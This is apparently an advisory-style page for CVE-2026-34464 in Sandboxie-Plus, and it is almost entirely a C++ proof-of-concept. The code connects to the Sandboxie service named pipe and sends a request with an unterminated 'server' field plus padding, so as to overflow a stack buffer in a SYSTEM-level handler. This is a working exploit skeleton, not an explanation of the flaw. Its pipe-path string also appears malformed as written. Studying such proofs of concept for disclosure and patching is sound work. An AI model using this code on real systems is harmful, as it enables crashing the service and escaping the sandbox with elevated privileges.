CVE-2026-34464 Sandboxie-Plus栈溢出致沙箱逃逸

// Conceptual PoC for CVE-2026-34464 // Stack buffer overflow in Sandboxie-Plus NamedPipeServer::OpenHandler #include <windows.h> #include <iostream> // Simulated structure based on vulnerability description // The 'server' field is 48 WCHARs wide typedef struct _NAMED_PIPE_OPEN_REQ { // ... other fields ... WCHAR server[48]; // ... other fields ... } NAMED_PIPE_OPEN_REQ; int main() { // Attempt to connect to the Sandboxie service pipe HANDLE hPipe = CreateFileW(L"\\.\pipe\SandboxieService", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::cerr << "Failed to connect to pipe. Service might not be running." << std::endl; return 1; } // Prepare the malicious payload // Goal: Overflow the 'pipename[160]' stack buffer in OpenHandler // wcscat appends 'server' field to 'pipename'. // If 'server' lacks null termination within 48 chars and we append extra data // after the structure, wcscat reads out of bounds. // 1. Allocate a buffer larger than the expected structure size SIZE_T payloadSize = sizeof(NAMED_PIPE_OPEN_REQ) + 256; BYTE* payload = (BYTE*)malloc(payloadSize); ZeroMemory(payload, payloadSize); NAMED_PIPE_OPEN_REQ* req = (NAMED_PIPE_OPEN_REQ*)payload; // 2. Fill the 'server' field with non-null wide characters // This forces wcscat to keep reading past the 48-byte boundary for (int i = 0; i < 48; i++) { req->server[i] = L'A'; } // 3. Append controlled wide characters immediately after the structure // The handler treats the message as variable length, so this data is part of the stream WCHAR* overflowData = (WCHAR*)(payload + sizeof(NAMED_PIPE_OPEN_REQ)); for (int i = 0; i < 100; i++) { overflowData[i] = L'B'; // This data will overflow the stack buffer } // 4. Send the payload to the SYSTEM service DWORD bytesWritten; BOOL result = WriteFile(hPipe, payload, (DWORD)payloadSize, &bytesWritten, NULL); if (result) { std::cout << "Payload sent successfully. Check for service crash or code execution." << std::endl; } else { std::cerr << "Failed to send payload." << std::endl; } free(payload); CloseHandle(hPipe); return 0; }